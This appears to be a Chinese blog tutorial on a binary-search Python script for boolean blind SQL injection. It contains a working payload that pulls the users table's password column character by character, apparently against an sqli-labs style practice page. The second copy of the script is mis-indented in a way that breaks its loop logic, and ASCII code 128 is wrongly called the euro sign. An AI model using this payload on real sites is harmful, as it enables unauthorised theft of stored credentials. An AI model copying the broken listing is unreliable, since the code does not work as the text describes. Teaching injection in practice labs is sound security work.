sql注入脚本——二分法

二分法

相较于一个一个字母测试sql注入的python脚本来说,二分法可以带来更高效的,更全面的结果。

分析

先来看一个脚本的片段

for i in range(1,10000):
    low = 32
    high = 128
    mid = (low+high)//2
    while low < high:
     #   url = host + "id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))<%d)^1" % (i,mid)
     #  res = requests.get(url)
        url = host + "id=1'^(ascii(substr((select(group_concat(password))from(users)),%d,1))<%d)^1-- -" % (i,mid)
        res = requests.get(url)
        if "You are in" in res.text:
            high = mid
        else:
            low = mid+1
        mid = (low + high)>>1
    if mid <= 32 or mid >= 127:
        break

这个脚本是把二分法应用到sql盲注中。

  • 过程:

  • (1)查找范围

       low = 32
       high = 128
    

    对照ascii码表从32位(空格)到128位(€欧盟的符号),其中包含了数字,大小写字母,及部分常见符号,范围很广。

(2)查找过程

除了最高位和最低位,还设置了一个中间值。

图片.png

定义完变量,开始测试。

for i in range(1,10000):
    low = 32
    high = 128
    mid = (low+high)//2
    while low < high:
        url = host + "id=1'^(ascii(substr((select(group_concat(password))from(users)),%d,1))<%d)^1-- -" % (i,mid)
        res = requests.get(url)
        if "You are in" in res.text:
                   high = mid
        else:
                   low = mid+1
                   mid = (low + high)>>1
        if mid <= 32 or mid >= 127:
                   break

判断password的第i位是否小于mid,如果出现页面回显”You are in”(代表小于),然后把mid的值赋给high;如果页面回显出其他东西(代表大于),则把mid加1的值赋值给low。然后mid再重新计算(mid = (low + high)>>1,low和high的总和向右位移1位,可以相当于这个总和除二)。通过while循环把查找的范围不断缩小,不断接近所要查找的那个值,最后high等于low等于所要查找的那个值,不满足while low < high跳出循环,打印出找到的那个值。
图片.png

如果把上述的low=mid+1改为low=mid也可以
图片.png

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2023 00hello00

请我喝杯咖啡吧~

支付宝
微信